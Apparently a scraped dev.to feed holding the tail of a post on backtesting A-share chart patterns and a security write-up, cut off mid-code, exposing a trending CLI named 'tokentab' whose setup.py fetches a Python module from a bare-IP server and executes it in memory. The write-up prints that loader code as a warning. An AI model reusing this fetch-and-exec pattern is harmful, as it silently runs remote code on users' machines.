data. Two measurement bugs were inflating the results. After fixing them, &lt;strong&gt;none of the six&lt;br&gt;
classic chart patterns beat the equal-weight universe.&lt;/strong&gt; The only statistically solid&lt;br&gt;
signals left were the two &lt;em&gt;avoidance&lt;/em&gt; ones.&lt;/p&gt;

&lt;p&gt;This is the follow-up to &lt;a href="https://dev.to/felixwang007/i-backtested-volume-confirmation-on-15900-real-a-share-stock-days-it-flipped-sign-between-two-977"&gt;my earlier volume study&lt;/a&gt;&lt;br&gt;
that flipped sign between two consecutive months. Same rule: publish the number even when&lt;br&gt;
it kills the story I wanted to tell.&lt;/p&gt;
&lt;h2&gt;
  
  
  What I built
&lt;/h2&gt;

&lt;p&gt;Data: daily K-lines for 3,145 Shanghai/Shenzhen main-board names, pulled from Tencent's free&lt;br&gt;
endpoint — no key, no vendor, ~0.2 s per stock:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600000,day,,,640,qfq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six patterns, each defined by measurable conditions (not by the name a newsletter gives it):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;condition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;close &amp;gt; prior 20-day high &lt;strong&gt;and&lt;/strong&gt; volume ratio ≥ 1.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;in the top 30% of its 20-day range, day ≤ −3%, volume ratio ≥ 1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;MA5 &amp;lt; MA20, 20-day return ≤ −15%, day &amp;gt; +2%, volume ratio ≥ 1.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;MA5 &amp;gt; MA20, down day, volume ratio ≤ 0.85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;MA5 &amp;gt; MA10 &amp;gt; MA20 and close &amp;gt; MA20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;20-day range &amp;lt; 8% and&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Label = forward 5-trading-day return. The rules are ported verbatim from the labelled set I&lt;br&gt;
use to fine-tune my own model, and I checked the port: &lt;strong&gt;5,998 of 6,000 randomly sampled&lt;br&gt;
labelled rows reproduce exactly (99.97%)&lt;/strong&gt;, so the labels here and the labels in the model's&lt;br&gt;
training data agree.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bug #1 — the ragged panel invents market days
&lt;/h2&gt;

&lt;p&gt;Concatenating one file per stock gives &lt;strong&gt;6,487 distinct dates&lt;/strong&gt;. Only &lt;strong&gt;622 of them are real&lt;br&gt;
market days&lt;/strong&gt;; the other 5,870 are phantom "sessions" where one or two stale or delisted&lt;br&gt;
files traded (median 4 rows). Averaging over them moved conclusions a lot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pattern            clustered (622 real days)     over all dates incl. phantom
Uptrend            +0.191%   t=+1.47             +0.526%   t=+5.66
LowVolPullback     +0.317%   t=+2.29             +0.546%   t=+5.48
Sideways           +0.322%   t=+3.11             +0.020%   t=+0.28
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An "uptrend continuation edge" with t=+5.7 turned into t=+1.5 — i.e. nothing — purely from&lt;br&gt;
stale single-name dates. Guard: a date only counts if ≥500 universe members have a defined&lt;br&gt;
20-day MA that day.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bug #2 — one session is not 200 independent samples
&lt;/h2&gt;

&lt;p&gt;This is the bigger one. Stock-days inside a session are highly correlated: a market-wide&lt;br&gt;
bounce lifts hundreds of "oversold rebound" names at once.&lt;/p&gt;

&lt;p&gt;Raw row-level average for oversold-rebound setups on days when &amp;gt;60% of the market was above&lt;br&gt;
its 20-day MA: &lt;strong&gt;+11.35%, 67.8% win rate, 374 rows.&lt;/strong&gt; Same data, one observation per day&lt;br&gt;
instead of one per row: &lt;strong&gt;+0.65%.&lt;/strong&gt; Two sessions carried the whole thing — 2026-07-31&lt;br&gt;
(222 names, +14.25% average) and 2026-08-04 (34 names).&lt;/p&gt;

&lt;p&gt;The fix is five lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;per_day&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;per_day&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[]).&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fwd5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;day_means&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fmean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;per_day&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fmean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stdev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# n = DAYS, not rows
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What survived both fixes
&lt;/h2&gt;

&lt;p&gt;Mean of per-day means, forward 5 days, 2024-01 → 2026-09:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;days&lt;/th&gt;
&lt;th&gt;rows&lt;/th&gt;
&lt;th&gt;fwd 5d&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;th&gt;naive row-level mean&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;603&lt;/td&gt;
&lt;td&gt;175,338&lt;/td&gt;
&lt;td&gt;+0.322%&lt;/td&gt;
&lt;td&gt;+3.11&lt;/td&gt;
&lt;td&gt;+0.425%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;615&lt;/td&gt;
&lt;td&gt;231,310&lt;/td&gt;
&lt;td&gt;+0.317%&lt;/td&gt;
&lt;td&gt;+2.29&lt;/td&gt;
&lt;td&gt;+0.526%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;617&lt;/td&gt;
&lt;td&gt;401,002&lt;/td&gt;
&lt;td&gt;+0.191%&lt;/td&gt;
&lt;td&gt;+1.47&lt;/td&gt;
&lt;td&gt;+0.362%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;462&lt;/td&gt;
&lt;td&gt;5,934&lt;/td&gt;
&lt;td&gt;+0.033%&lt;/td&gt;
&lt;td&gt;+0.10&lt;/td&gt;
&lt;td&gt;+1.547%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;617&lt;/td&gt;
&lt;td&gt;59,352&lt;/td&gt;
&lt;td&gt;−0.432%&lt;/td&gt;
&lt;td&gt;−2.84&lt;/td&gt;
&lt;td&gt;−0.289%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;608&lt;/td&gt;
&lt;td&gt;7,151&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.557%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−6.30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−1.152%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Note the last column: the oversold-rebound row-level mean is &lt;strong&gt;47×&lt;/strong&gt; its clustered value.&lt;br&gt;
That 47× is the most common backtest lie on the internet.&lt;/p&gt;
&lt;h2&gt;
  
  
  The test that killed the bullish patterns
&lt;/h2&gt;

&lt;p&gt;A positive raw return does not mean the pattern works — it may just mean the market went up.&lt;br&gt;
So subtract the same-day equal-weight universe return from every row:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;excess fwd 5d&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.958%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−9.84&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.843%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−8.54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;−0.361%&lt;/td&gt;
&lt;td&gt;−1.39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;−0.220%&lt;/td&gt;
&lt;td&gt;−3.95&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;−0.117%&lt;/td&gt;
&lt;td&gt;−2.18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;−0.065%&lt;/td&gt;
&lt;td&gt;−0.94&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Not one bullish pattern beat just holding the basket.&lt;/strong&gt; Every positive number in the&lt;br&gt;
previous table was market beta — including "buy the uptrend" and "buy the pullback". What&lt;br&gt;
survives is only what you should &lt;em&gt;avoid&lt;/em&gt;: a high-level drop on heavy volume, and chasing a&lt;br&gt;
volume breakout.&lt;/p&gt;
&lt;h2&gt;
  
  
  The one filter that did move the needle: breadth
&lt;/h2&gt;

&lt;p&gt;Because beta is the whole game, the market's own breadth is the useful variable. I built a&lt;br&gt;
gauge: share of the universe trading &lt;strong&gt;above its own 20-day MA&lt;/strong&gt;, once per day, from all&lt;br&gt;
3,145 names.&lt;/p&gt;

&lt;p&gt;Using that as a regime filter on the equal-weight universe (next 5 trading days):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;breadth bucket&lt;/th&gt;
&lt;th&gt;days&lt;/th&gt;
&lt;th&gt;next-5d equal-weight&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;th&gt;up-days&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;20%&lt;/td&gt;
&lt;td&gt;68&lt;/td&gt;
&lt;td&gt;+0.80%&lt;/td&gt;
&lt;td&gt;+2.22&lt;/td&gt;
&lt;td&gt;63.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-40%&lt;/td&gt;
&lt;td&gt;163&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.50%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−1.87&lt;/td&gt;
&lt;td&gt;46.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40-60%&lt;/td&gt;
&lt;td&gt;160&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.93%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+3.51&lt;/td&gt;
&lt;td&gt;60.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;60-80%&lt;/td&gt;
&lt;td&gt;143&lt;/td&gt;
&lt;td&gt;+0.36%&lt;/td&gt;
&lt;td&gt;+1.86&lt;/td&gt;
&lt;td&gt;58.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt;80%&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td&gt;+0.97%&lt;/td&gt;
&lt;td&gt;+2.03&lt;/td&gt;
&lt;td&gt;59.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both tails are positive; &lt;strong&gt;the dead zone is 20-40%&lt;/strong&gt; — and that is exactly where the market&lt;br&gt;
sat at the end of this sample (&lt;strong&gt;2026-09-18: 32.63% above MA20, 28th percentile of 622&lt;br&gt;
days&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;Inside that band, no pattern has positive expectancy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;breadth 20-40%:  high-level volume drop  -2.92% (t-5.5)
                 breakout + volume       -1.35% (t-4.7)
                 oversold rebound        -1.81% (t-3.4)
                 low-volume pullback     -0.86% (t-3.0)
                 uptrend                 -0.80% (t-3.3)
breadth 40-60%:  low-volume pullback     +0.96% (t+3.5)
                 uptrend                 +0.73% (t+2.8)
                 sideways                +0.76% (t+3.6)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The year split (2024 / 2025 / 2026) keeps the sign of the 40-60% bucket in all three years&lt;br&gt;
(+1.1 / +1.1 / +0.5), so that middle band is not one lucky stretch. The tails move around.&lt;/p&gt;
&lt;h2&gt;
  
  
  How I use this now
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Benchmark against the day's equal-weight return, not against zero.&lt;/strong&gt; Half the "edges"
in retail technical analysis are just exposure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cluster before you compute a t-stat.&lt;/strong&gt; If your study has 400 rows but 8 effective days,
you have 8 observations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Guard the panel.&lt;/strong&gt; A minimum-names-per-day rule catches stale files before they become
"evidence".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sell signals are more robust than buy signals here.&lt;/strong&gt; Two of two avoidance patterns
survived with |t| &amp;gt; 6; zero of four bullish ones did.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Caveats
&lt;/h2&gt;

&lt;p&gt;Main board only (no ChiNext / STAR / BSE), 2024–2026 sample, no transaction costs, no T+1&lt;br&gt;
fill modelling, overlapping 5-day windows (so the t-stats are &lt;em&gt;optimistic&lt;/em&gt;, not&lt;br&gt;
conservative), and I inspected dozens of signal × regime cells — at that count some t≈2&lt;br&gt;
values are noise. Treat this as a measurement lesson, not a trading system.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reproduce it
&lt;/h2&gt;

&lt;p&gt;Everything is one script against free data — no API key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# one JSON per stock: [{date,open,high,low,close,volume}, ...]&lt;/span&gt;
python breadth_gauge.py path/to/history_ext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;→ &lt;strong&gt;github.com/Felixwang007/a-share-signal-lab&lt;/strong&gt; — &lt;code&gt;breadth_gauge.py&lt;/code&gt; (builds the gauge and&lt;br&gt;
every number above), &lt;code&gt;breadth_gauge.json&lt;/code&gt; (622 days of breadth), &lt;code&gt;breadth_stats.json&lt;/code&gt; (the&lt;br&gt;
tables), plus the earlier volume study.&lt;/p&gt;

&lt;p&gt;If you want this kind of data-audit tooling packaged for an AI coding agent to run for you,&lt;br&gt;
I publish skills for that on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt; — but the honest version of the&lt;br&gt;
finding lives in the repo above, where you can recompute it yourself.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>A 1,145-Star CLI Promised "Nothing Leaves Your Machine". It Executes a Hidden Payload at Import Time.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 21 Sep 2026 04:13:28 +0000</pubDate>
      <link>https://dev.to/felixwang007/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-payload-at-import-2npd</link>
      <guid>https://dev.to/felixwang007/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-payload-at-import-2npd</guid>
      <description>&lt;p&gt;A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds.&lt;/p&gt;

&lt;p&gt;This is what it looked like, what I changed about my install routine, and where the routine still fails.&lt;/p&gt;

&lt;h2&gt;
  
  
  The README said all the right things
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;crwdla/tokentab&lt;/code&gt; was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... &lt;strong&gt;It runs entirely locally: no account, no API key, nothing leaves your machine.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That pitch is plausible, which is why it works. A token-cost dashboard &lt;em&gt;has&lt;/em&gt; to read &lt;code&gt;~/.claude/projects/**/*.jsonl&lt;/code&gt; and &lt;code&gt;~/.codex/sessions/**/rollout-*.jsonl&lt;/code&gt;. Nothing about the premise is suspicious.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was in the tree
&lt;/h2&gt;

&lt;p&gt;Commit &lt;code&gt;d9e8cb4&lt;/code&gt; (2026-09-07), file &lt;code&gt;tokentab/setup.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;CONFIG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HOST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.233.51.81&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;# bare IP, no domain, no TLS
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PORT&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8765&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ASSET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;main&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;test123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PAYLOAD_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secret456&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;CLIENT_MODULE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;manual_mapper.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_load_module_memory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ModuleType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__file__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;ram:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# never touches disk
&lt;/span&gt;    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mod_name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;
    &lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bootstrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;win32&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;win32 only&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_fetch_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;_server_base&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/v1/client/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CLIENT_MODULE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span 